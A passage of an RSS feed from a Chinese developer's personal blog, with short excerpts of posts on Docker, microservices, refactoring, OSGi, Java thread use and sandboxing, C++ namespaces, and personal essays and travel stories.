&lt;p&gt;由于最近一直在从事Docker相关的工作，所以有机会参与这次的&lt;a href=&#34;http://cnutcon.com/&#34;&gt;CNUTCon全球容器大会&lt;/a&gt;。名字比较“高格”，虽有少量的外国人分享，大部分还是中国的互联网企业在宣传，忽悠。除去这些，整体来说这次大会还是非常不错的，门票也不算太贵，目前看来应该还是值的。我司还是这次大会的钻石赞助商，也说明我们在容器这一块的发力程度。&lt;/p&gt;
&lt;h2 id=&#34;整体感受&#34;&gt;整体感受&lt;/h2&gt;
&lt;p&gt;Docker是这这两年成长最快的技术，受到资本市场的热捧。Docker技术以势不可挡地席卷全球。参考这次大会，整体感受是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker已不再是概念，已进入互联网企业的实际生产环境中&lt;/li&gt;
&lt;li&gt;Docker的创业公司多，有远见的想在这次的浪潮中分享红利&lt;/li&gt;
&lt;li&gt;大公司借Docker东风，亦想在云计算领域中拿下更多话语权&lt;/li&gt;
&lt;li&gt;容器技术处于战国群雄，完整的生态还比较混乱技术栈不成熟&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>配置与定制</title>
      <link>http://lanlingzi.cn/post/technical/2015/0813_cfg_vs_cus/</link>
      <pubDate>Thu, 13 Aug 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/0813_cfg_vs_cus/</guid>
      <description>&lt;p&gt;作为一个软件人员，我们会经常遇到各种各样的需求，有时为了避免定制，通常的做法是提供更多的配置选项，以通过配置出满足不同的特定需求。&lt;/p&gt;
&lt;p&gt;原因是而当你开发定制代码来修改或扩展一个功能需求时，有可能会导致软件不能正常的工作，必须通过严格的测试与验证。在重大的版本升级情况下，定制是苛刻的和耗时的。甚至会面临无法修复的功能可能会被重构，从零开始。因此，一些做法是通过采越来越多地选择配置，来解决由于开发定制代码引入的问题与软件带来的成本。&lt;/p&gt;
&lt;p&gt;因此配置与定制之间的区别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;配置：使用现有的数据来配置系统以满足您的业务需求&lt;/li&gt;
&lt;li&gt;定制：将定制或使系统适应业务需求，涉及到定制开发流程。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>微服务与SOA</title>
      <link>http://lanlingzi.cn/post/technical/2015/0516_microservice_soa/</link>
      <pubDate>Sat, 16 May 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/0516_microservice_soa/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://martinfowler.com/articles/microservices/images/sketch.png&#34; alt=&#34;microservices&#34;&gt;&lt;/p&gt;
&lt;p&gt;我司学习一个新的技术，往往是搞得轰轰烈烈，比如数字化转型，向互联网技术学习。其中一个非常重要的方向就是学习互联网的服务化体系架构。国内的阿里，京东，腾讯在服务化，确切地说是微服务应用取得非常大的成功。而国外的Netflix的微服务架构更是成为我们必定的样板教材。你做设计，谈方案，不说说微服务都不好意思。如果你不说这样，说明你思维落后陈旧了。任何一项技术都有一段疯狂期，虽这近一次在搞架构重构，领导遇到你，总是关心地问到：“服务化进展怎么样了”。甚至还得跟一些不太懂的领导解释什么是微服务。&lt;/p&gt;
&lt;p&gt;10年前差不到了SOA也像今天的微服务一样火爆。那微服务与SOA的关系或区别是什么？是不是SOA的旧洒换新瓶？软件界的大牛 Martinfowler的《&lt;a href=&#34;http://martinfowler.com/articles/microservices.html&#34;&gt;微服务&lt;/a&gt;》更是像一部微服务的圣经，无奈是E文，大家都有各自的理解。在我司更是大家对这个各抒己见，谁都可以说上几句服务化的原则是什么，微服务成了领导专家们口里的口头禅。如果我们的系统不是微服务化，都怀疑我们系统的先进性。想当初，大家也都谈SOA，也极力推广SOA。似乎到了今天，微服务与SOA两者是势不相容。SOA是传统的IT架构，而微服务是当今互联网架构，微服务似乎比SOA更“逼格”。甚至这样的争论成了不同兄弟的心头痛。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>架构重构</title>
      <link>http://lanlingzi.cn/post/technical/2015/0430_arch_refactor/</link>
      <pubDate>Tue, 12 May 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/0430_arch_refactor/</guid>
      <description>&lt;p&gt;最近一直在做系统架构上重构工作，理论不能不学习啊，只有在思想上把自己武装起来，才能减少我们工作上的错误。之前参加过或亲自操刀过多次的代码局部或模块重构，但这一次架构重构是范围波及最广，收获颇多。&lt;/p&gt;
&lt;h2 id=&#34;什么是重构&#34;&gt;什么是重构&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;重构是指在不修改代码外在行为的前提下，对代码做出的修改，以改进程序的内部结构，提高其可理解性，降低其修改成本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是来自马大神的《重构》一书对重构释义。重构可以改进软件设计；使软件更容易理解；使软件更容易维护；帮助找到软件Bugs；帮助提高编程效率。重构按对系统修改的粒度层次可以分为如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;局部代码重构，操作与实施比较容易，《重构》一书中介绍了大量经典的方法。&lt;/li&gt;
&lt;li&gt;模块级代码重构，可能涉及到模块之间的接口重构，操作与实施难度相对适中。&lt;/li&gt;
&lt;li&gt;架构重构，是对整个系统架构层次的重构，牵系相当的广，操作与实施难度比较高。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>OSGi的缘起缘灭</title>
      <link>http://lanlingzi.cn/post/technical/2015/0422_remove_osgi/</link>
      <pubDate>Wed, 22 Apr 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/0422_remove_osgi/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://www.osgi.org/wp-content/uploads/bigpuzzle.jpg&#34; alt=&#34;osgi&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;什么是osgi&#34;&gt;什么是OSGi&lt;/h2&gt;
&lt;p&gt;维基百科：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OSGi（Open Service Gateway Initiative）有双重含义。一方面它指OSGi Alliance组织；另一方面指该组织制定的一个基于Java语言的服务（业务）规范——OSGi服务平台（Service Platform）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们所说的OGSi，通常讲的是Java语言实现的OSGi，但也是有其它语言实现过OSGi，由于没有Killer应用，几乎是无人知晓。&lt;/p&gt;
&lt;p&gt;2003年Eclipse选择OSGi作为其插件的底层运行时架构。Equinox project对该理念进行了实验，2004年6月在Eclipse3 R3中发布。Eclipse的成功让人认识到OSGi的优秀与魅力，也把OSGi带到众多的程序员面前。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发中缺陷管理</title>
      <link>http://lanlingzi.cn/post/thoughts/2014/0901_soft_dev_dt_trace/</link>
      <pubDate>Mon, 01 Sep 2014 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2014/0901_soft_dev_dt_trace/</guid>
      <description>&lt;p&gt;在我司，我发现大家很擅长把一个东西到极致，但极致可能是过犹不及了，例如测试并不是发现越来越多的Bug就越好，如果把很多的时间消耗到一些不重要的点，反而不可取，软件只要你去测试，怎能发现一些Bug，如要面对这些就非常纠结。作一名开发，说这话肯定会被一批的测试人员拍砖死了。在此表达一下不同的观点，不一定正确，请轻拍。&lt;/p&gt;
&lt;p&gt;在我司的各种度量工具很牛X，缺陷跟踪分析每个迭代阶段就会做，形成一些报告。对于软件质量来说，统计所有过去的Bugs是没有多大用的，相对来说，一些更实际的工作可能更重要，在Douglas Hubbard的《How to Measure Anything: Finding the Value of Intangibles in Business》(如何衡量任何事：寻找商业无形资产的价值)中，把这种现象解释成衡量倒置(Measurement Inversion)：衡量一个东西的经济价值与它通常所受到的关注度多少成反比。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发与中医理论</title>
      <link>http://lanlingzi.cn/post/thoughts/2014/0804_soft_dev_tcm_theory/</link>
      <pubDate>Mon, 04 Aug 2014 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2014/0804_soft_dev_tcm_theory/</guid>
      <description>&lt;p&gt;最近一段时间，看了些的版本迭代开发数据。有CI中QDI，FindBugs，重复率，复杂圈度；也有迭代的Story实现率，IR分解率，DI值;也有测试用例，覆盖率，执行时长，入门用例比等。反正各种度量数据多得是，从各个方面来反馈项目的质量。俗话说：有人的地方就有江湖。有江湖的地方就有纷争。有度量数据就有晒马排名，有排名的地方就有政治任务。我们的流程辅助度量工具多了，但这些真能带动我们的质量上去了吗？&lt;/p&gt;
&lt;p&gt;小儿已一岁多，现在回顾他做的一些体检。前三个月每月一次体检，一岁之前每3个月一次，一岁之后是每6个月一次。体检的项目有称体重、量身高、量头围、量胸围、验视力、测听力、检查动作发育、口腔检查、评价智能发育、验血、骨骼检查、心肺与心率检查、大便和血红蛋白。体检医生一上来就是开各个体检单，采用是西医的方式，看指标数据，再评测，体检应该是医院最好的生财路之一。个人也明白，正如我妈说的，我小时候哪有什么体检，也不是好好的吗？现在带小孩去体检，也是图个安心，提早预防。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>做一名好的开发人员</title>
      <link>http://lanlingzi.cn/post/thoughts/2014/0729_better_developer/</link>
      <pubDate>Tue, 29 Jul 2014 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2014/0729_better_developer/</guid>
      <description>&lt;p&gt;我在上一次的新员工交流会议上，问新员工对全栈工程师了解不，我们的目标是成为一名全栈工作师，而不是做一名只会写代码的码工。最近遇到一些不开心的事，可能是在华为呆久了，发现到底都要会学扯皮。而我性情不太喜欢做一些自认为这些是无意义的事情。虽然有前辈告诉我，扯皮可能的效果会让你少加班几个月。说着说着，有点偏了，扯皮其实是沟通成本。项目越大，沟通成本越高。带个项目的人都会意识到，项目中的人力是1+1&amp;lt;2的，人越多效率越低。因为沟通是需要成本的，不同技术的人各说各话，前端和后端是一定会掐架的。每个人都会为自己的利益而战，毫不为已的人是不存在的。&lt;/p&gt;
&lt;p&gt;减少沟通成本，我们需要全栈工程师，因为各种技术都懂，胸有成竹，自己就全做了。即使是在团队协作中，与不同技术人员的沟通也会容易得多。懂你的，你懂的，相互理解，也就少了很多的时间在扯。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Git SSH设置</title>
      <link>http://lanlingzi.cn/post/notes/2014/0322_github/</link>
      <pubDate>Sat, 22 Mar 2014 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2014/0322_github/</guid>
      <description>Git HTTPS 和 SSH 的区别： 前者可以随意克隆github上的项目，而不管是谁的；而后者则是你必须是你要克隆的项目的拥有者或管理员，且需要先添加 SSH key ，否则</description>
    </item>
    
    <item>
      <title>优秀程序员</title>
      <link>http://lanlingzi.cn/post/thoughts/2013/1113_good_programmer/</link>
      <pubDate>Wed, 13 Nov 2013 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2013/1113_good_programmer/</guid>
      <description>&lt;p&gt;关于什么是一名合格的程序员，优秀的程序员，这些讨论从来没有停止过，标准各不相同。有人说优秀程序员追求简洁的代码，优秀的框架结构，新的技术技能。我们不是在讨论什么是业界大牛，我心中的一名优秀程序具备如下几个素质：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;简洁高效&lt;/p&gt;
&lt;p&gt;优秀的程序员会使用整洁，易于理解的方式解决实际的问题，任何不必要的复杂代码均不会出现，简单比复杂更具有价值。能通过简洁的方式把复杂的问题解决掉。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>HW八年总结</title>
      <link>http://lanlingzi.cn/post/thoughts/2013/0909_hw_8years/</link>
      <pubDate>Mon, 09 Sep 2013 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2013/0909_hw_8years/</guid>
      <description>&lt;p&gt;白驹过隙，进入公司已是八年，一路学习一路收获。往后回首，一些经历回想起来还历历在目：经历过一线比拼的激情，经历过产品上线的喜悦，经历过多个项目的变换，经历过持续熬夜的艰辛；写过不少的代码，带过一些徒弟，负责过团队开发，一直在公司从事基层的研发工作。一路走下来，也得到部门领导，公司同事的帮助、指导与鼓励，能让我一直坚持下去，过程中我也得到一些很高的认可，感触多，收获多。在此我先感谢大家！&lt;/p&gt;
&lt;h2 id=&#34;团队成功才能成就个人&#34;&gt;团队成功才能成就个人&lt;/h2&gt;
&lt;p&gt;还记得进入公司做的第一个项目，就是上海电信的XXX规范比拼项目，在上海一呆就是3个月之久。之后从09年开始到现在，我应该遇到一个不错的机遇，时逢部门的产品在欧洲开花结果，并且我非常有幸地参加了其中的多个项目，TLF比拼、VDF比拼、SFR比拼、O2的交付，DT比拼，有去一线出差现场操作，也有在家持续熬夜支撑。后又参与平台非常重要的新项目C3的构建，见证它从无到有，到多个局点的交付，目前C3在VDF交付。所以说是 &lt;strong&gt;只有团队的成功，才能有个人的成就&lt;/strong&gt; 。我作为一个普普通通的软件工程师，有机会参加了这么多的高端比拼与交付，也可能实属我人生中为数不多，以后可能值得会拿出来说一下的事儿。当然参与这些项目对我自身也是一项非常大的挑战，尤其是在比拼项目中亦时候不知熬了多少个夜晚，甚至彻夜难眠，也不知当面对客户苛刻的验证时的紧张感，心跳加速多少次。但始终相信我是在做一件有意义的事情这就是对的，虽然过程肯是辛苦的，结果可能不理想的。有时甚至还害怕而抵触过，抱怨过。但只要一旦接受了也就始终没有放弃过，&lt;strong&gt;把分给我的工作尽自己最大的努力做好做实，做到问心无愧&lt;/strong&gt; 。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Java线程使用建议</title>
      <link>http://lanlingzi.cn/post/technical/2013/0424_java_thread_suggest/</link>
      <pubDate>Wed, 24 Apr 2013 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2013/0424_java_thread_suggest/</guid>
      <description>&lt;p&gt;最近Review团队内一些的代码，发现不少地方在使用线程池，但使用比较乱，针对问题建议如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;线程不能调用Thread.stop来停止它，我见过有新员工就这么干过哦，而是需要设置一个标识位，在run方法中判断此标识位退出循环。用interrupt也是可以考虑的，但线程的run方法中要捕获InterruptException。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所有线程需要设置Name，主要是方便线程dump出来之后定位问题。这可是编程军规，我们很多的兄弟没有遵守。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    
    <item>
      <title>[WebApp沙箱]SecurityManager运用</title>
      <link>http://lanlingzi.cn/post/technical/2011/0212_java_sandbox_sm/</link>
      <pubDate>Sat, 12 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2011/0212_java_sandbox_sm/</guid>
      <description>&lt;p&gt;在JRE类白名单能控制类的使用权限（&lt;a href=&#34;http://lanlingzi.cn/post/technical/0311_java_sandbox_cl&#34;&gt;请点击&lt;/a&gt;），但控制不了一些资源的访问权限。如默认情况下可访问机器下的任意资源，如读取、删除一些文件，网络操作，创建进程与线程等。必须对Web容器下的WebApp进行资源权限访问控制。&lt;/p&gt;
&lt;h2 id=&#34;security-manager&#34;&gt;Security Manager&lt;/h2&gt;
&lt;p&gt;Java从JDK 1.0开始就实现一套安全架构，主要用于Applet。在这种体系下Java Code的执行环境被严格划分为两部分，本地代码可以访问计算机的所有资源，而远端代码（Remote Code，主要是Applet）只能支行在严格限制的沙箱里面。安全管理器（&lt;code&gt;SecurityManager&lt;/code&gt;）作为一个子系统来决定哪些资源允许沙箱中程序访问。这是一种运行期的安全检查。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>[WebApp沙箱]JRE类白名单运用</title>
      <link>http://lanlingzi.cn/post/technical/2011/0311_java_sandbox_cl/</link>
      <pubDate>Fri, 11 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2011/0311_java_sandbox_cl/</guid>
      <description>&lt;h2 id=&#34;classloader&#34;&gt;ClassLoader&lt;/h2&gt;
&lt;p&gt;JVM类加载器层次结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   Bootstrap ClassLoader
            |
   Extension ClassLoader
            |
   System ClassLoader
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JVM一启动，会先做一些初始化的动作。一旦初始化动作完成之后，就会产生第一个类加载器，即所谓的Bootstrap Loader, Bootstrap Loader是由C++写成，这个BootstrapLoader所做的初始化中，除了做一些基本的初始化动作之外，最重要的就是加载定义在sun.misc命名空间下的Launcher.java之中的ExtClassLoader(因为是innerclass，所以编译之后会变成Launcher$ExtCjassLoader.class)，并设定其Parent为null,代表其父加载器为BootstrapLoader。然后再加载定义于sun.misc命名空间下的Launcher.java之中的AppClassLoader(因为是InnerClass，所以编译之后会变成Launcher$AppClassLoader.class)，并设定其Parent为之前产生的ExtClassLoader实例。AppClassLoader这一层我们也称之为SystemLoader。AppClassLoader会加载CLASSPATH目录下定义的Class。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>远离罪恶</title>
      <link>http://lanlingzi.cn/post/stories/2011/0122_believe_god/</link>
      <pubDate>Sat, 22 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2011/0122_believe_god/</guid>
      <description>&lt;p&gt;今天在回家的车上，遇到一个上帝的信徒，在宣传上帝的故事，对着一个高中生大讲特讲信上帝不是一种迷信。举了很多的例子，比如人们熟知的爱因斯坦，牛顿等是上帝的忠实信徒，一边搞学问一边翻圣经，学问做不去了，就去问圣经。也讲宇宙是什么，是上帝创造了宇宙万物，人类就是大海中一粒沙一样存在整个宇宙之中，人类是渺小的。无论人类科技多么的发展，也不能在其它星球上创造生物。最后在快下车的时候，给每人发一张卡片，劝说人们多去教堂感受一下。身体只是一个灵魂的载体，每个灵魂需要远离罪恶，前往永远与罪恶无关的福乐美地。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>德国出差记</title>
      <link>http://lanlingzi.cn/post/stories/2010/1020_german_travel/</link>
      <pubDate>Wed, 20 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2010/1020_german_travel/</guid>
      <description>&lt;p&gt;到达德国的Frankfurt法兰克福大约是19号早晨的６点半左右。这边的天还没有亮，取得托运行李，再过完签证检查之后已是７点左右，天还是没有亮。这次还好，去年过境德国，被安检人员问了一堆的问题。这次可能我事先跟海关检查人员打了声招呼“Morning”，他居然什么都没有问，直接盖上大章就说“Pass”。出了Airport，外面非常的冷清，11月的德国已经开始很冷，有点冬的味道。&lt;/p&gt;
&lt;p&gt;我要去的目的地是一个叫Darmstadt达姆斯塔特的小城。在Airport的外面bus stations逛了一圈，终天在Terminal 2 E8找到Darmstadt的air line。等了大约２分钟的时光，Bus准时到来，我向司机打了声招呼，示意让我上车。在车上他说了一堆的德语，可惜我一句也没有听明白，我只能用生硬的英语说“I want to go to Darmstadt, how much is the ticket?”或许大家都能听明白Darmstadt。于是他在电子售票机上打了一张票给我，电子屏上显示7.3欧。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>印度同事记</title>
      <link>http://lanlingzi.cn/post/stories/2010/0716_indian_counterparts/</link>
      <pubDate>Fri, 16 Jul 2010 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2010/0716_indian_counterparts/</guid>
      <description>&lt;p&gt;项目组由四地员工组成：深圳，南京，印度，土耳其。印度研究所设在班加罗尔（Bangalore），由于这次项目的重要性，把一堆的印度同事也拉到了深圳集中办公，也把部分的土耳其同事拉到了深圳。&lt;/p&gt;
&lt;p&gt;今天有两个印度同事说要回家结婚，准备回印度。昨天他们发了一封邮件说邀请我&lt;code&gt;join us for dinner&lt;/code&gt;。盛情难却，我爽快答应&lt;code&gt;I&#39;m glad to go&lt;/code&gt;，就参加了他们的一次聚会。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>团队文化</title>
      <link>http://lanlingzi.cn/post/notes/2010/0111_team_culture/</link>
      <pubDate>Mon, 11 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2010/0111_team_culture/</guid>
      <description>&lt;p&gt;今天晚上在部门的公告牌上看到一个另部门的项目做的总结，觉得后面几句话不错：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;树立团队荣誉感：&lt;/p&gt;
&lt;p&gt;如何树立团队荣誉感，没有什么好方法，我的理解就是带领团队不断地打胜仗，克服一个个困难，另外就是获得应该有的荣誉，这样你的团队才能有荣誉感。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;角色认知，系统化思考：&lt;/p&gt;
&lt;p&gt;你是代表部门在做这项工作，需要也可以站得更高角度来系统化，有计划地操作这项工作，你也可以行使你应有的权力。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    
    <item>
      <title>2010</title>
      <link>http://lanlingzi.cn/post/stories/2010/0106_summary/</link>
      <pubDate>Wed, 06 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2010/0106_summary/</guid>
      <description>&lt;p&gt;日子就这一样日复一日地消逝着，&lt;br&gt;
在不经意间，&lt;br&gt;
时间滑到2010。&lt;br&gt;
无意与时间赛跑，&lt;br&gt;
在时间面前，&lt;br&gt;
我们永远都是一个输者。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回首2009&lt;/strong&gt;，&lt;br&gt;
一个充满辛苦的一年，&lt;br&gt;
一个压力倍增的一年。&lt;br&gt;
去了一趟欧洲，&lt;br&gt;
去了一趟南京。&lt;br&gt;
工作走到十字路口，&lt;br&gt;
有更多的人生盲点。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>秩序</title>
      <link>http://lanlingzi.cn/post/stories/2009/1106_rule/</link>
      <pubDate>Fri, 06 Nov 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2009/1106_rule/</guid>
      <description>&lt;p&gt;昨天下班回来，当过马路时，我一个人在等红绿灯，忽然有一个人在喊我：”走啊，你们这群年轻人还没有我们的胆子大啊，现在都没有车“，我回头一看，是一个大约40~50岁的大叔，可能是我们公司供应商的员工。而我，已经习惯了过马路时等红绿灯。在我们公司附近马路上，大家都会这样，即使没有车也会静静地在等着灯亮，这可能是榜样的力量吧。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>青青世界</title>
      <link>http://lanlingzi.cn/post/stories/2009/1004_qingqing/</link>
      <pubDate>Sun, 04 Oct 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2009/1004_qingqing/</guid>
      <description>&lt;p&gt;少年时，一首青青世界的歌曲在春晚上唱红南北。歌里描绘的是一个美妙世界，是我一直向往的世界，有山有水的清净世界。歌词的作者天才乔羽现在是否还安好？听我们部门的老大讲，乔老创造这首歌时，本来是我们公司请他来为公司写企业主题歌。当他住进了当时公司的培训与生活基地青青世界（那时青青世界刚开没有多久，资金运营上有困难，所以把不少酒店长租给公司使用）。精明的青青世界台湾老板自然是不会放过送上门来的歌坛泰斗，于是就有了青青世界这着歌，也让青青世界这个旅游景点火一把。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>家有老人</title>
      <link>http://lanlingzi.cn/post/stories/2009/0906_grandpa/</link>
      <pubDate>Sun, 06 Sep 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2009/0906_grandpa/</guid>
      <description>&lt;p&gt;昨天我去一了趟广州小叔那，看我爷爷。岁月催人老，一晃我爷爷马上80岁了。我差不多每一年才与他见面一次，主要是回家过年时。每次见到他，都感觉他越来越苍老，不过今年他的身体还不错，希望他能健康百岁。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>读史小记</title>
      <link>http://lanlingzi.cn/post/notes/2009/0822_history_think/</link>
      <pubDate>Sat, 22 Aug 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2009/0822_history_think/</guid>
      <description>&lt;h2 id=&#34;战乱多&#34;&gt;战乱多&lt;/h2&gt;
&lt;p&gt;自从买了个诺基亚的大E之后，在手机上看书的时间越来越多了，最近一连看了好几本历史相关的书籍。原来中国的历史并非课本上写的那么简单。两千年来，中国历史能值得我们骄傲的并不多，对于普通百姓来说，一直是充满着无知与无奈。对于官员来说，一直是充满着虚伪与争斗，对于帝王来说， 一直是充满着荒唐与淫乱。在历史长河，没有几个太平盛世，没有几个有作为的帝王，没有几个能臣干将。整个中原民族也是不断地受到外族侵略，也不断的融合其它的民族。李世民是鲜卑族，成吉思汗是蒙古族，康熙是满族。强大的政权往往是由外族创建，而后才慢慢融合到汉族中。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>性能设计</title>
      <link>http://lanlingzi.cn/post/technical/csdn/perform_design/</link>
      <pubDate>Wed, 22 Jul 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/perform_design/</guid>
      <description>&lt;p&gt;无论Java还是C++都有不少的性能优化工具。公司曾有人把一个系统从几十TPS优化到上千TPS，真是让人佩服到五体投地。但是由于架构的原因导致性 能问题，那就不好下手优化了。&lt;/p&gt;
&lt;p&gt;在软件项目设计前期，不可不能考虑性能设计。要确定好的性能要求，必须识别项目约束、确定软件将执行的服务并指定软件期望的 负载。但也不要过于注重性能设计。太注重往往会陷入设计的误区。有时甚至为了性能而牺牲功能，那是大错特错了。&lt;/p&gt;
&lt;p&gt;项目交付时首先是功能是否满足，其它才是性 能。换句话说软件首先要能工作，其次才是否能高效率的工作。性能设计必须依托测试结果。不要我以为这样做法性能会好。而现在很多的所谓的系统分析设计师却 喜欢我以为，爱拿以前的经验做依托，更喜欢拿其它项目成功的性能设计套用，岂知此系统非彼系统。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43;技巧之名字空间namespace</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_namespace_usage/</link>
      <pubDate>Mon, 13 Jul 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_namespace_usage/</guid>
      <description>&lt;p&gt;C开发人员会经常使用&lt;code&gt;#define&lt;/code&gt;即宏来声明常量，但宏却是全局的，对大的工程来说是很难维护，经常是导致名字冲突。还好，C++给我们带来了&lt;code&gt;namespace&lt;/code&gt;名字空间。它的使用如下，名字空间可以把一组逻辑分组，同时名字空间也是一种作用域。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;namespace outspname {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   const int CVAR1 = 1;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   const char* const CVAR2 = &amp;#34;33333&amp;#34;;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   void test();  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   namespace inspname {  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      enum { A, B, C};  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      class Klass {};  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   }  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>面向对象的设计原则</title>
      <link>http://lanlingzi.cn/post/technical/csdn/oo_design_principle/</link>
      <pubDate>Fri, 03 Jul 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/oo_design_principle/</guid>
      <description>&lt;h2 id=&#34;为什么要有设计&#34;&gt;为什么要有设计&lt;/h2&gt;
&lt;p&gt;如何同时提高一个软件系统的可维护性和可复用性是面向对象的设计要解决的核心问题。&lt;/p&gt;
&lt;p&gt;导致一个软件设计的可维护性较低，也就是说会随着性能要求的变化而“腐烂”的真正原因有四个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;过于僵硬&lt;/li&gt;
&lt;li&gt;过于脆弱&lt;/li&gt;
&lt;li&gt;复用率低&lt;/li&gt;
&lt;li&gt;黏度过高&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个好的系统设计应该有如下的性质，这三条性质就是一个系统设计应当达到的目标。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可扩展性&lt;/li&gt;
&lt;li&gt;灵活性&lt;/li&gt;
&lt;li&gt;可插入性&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>c&#43;&#43; STL容器erase方法的不同陷阱</title>
      <link>http://lanlingzi.cn/post/technical/csdn/cpp_erase_fault/</link>
      <pubDate>Wed, 01 Jul 2009 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/csdn/cpp_erase_fault/</guid>
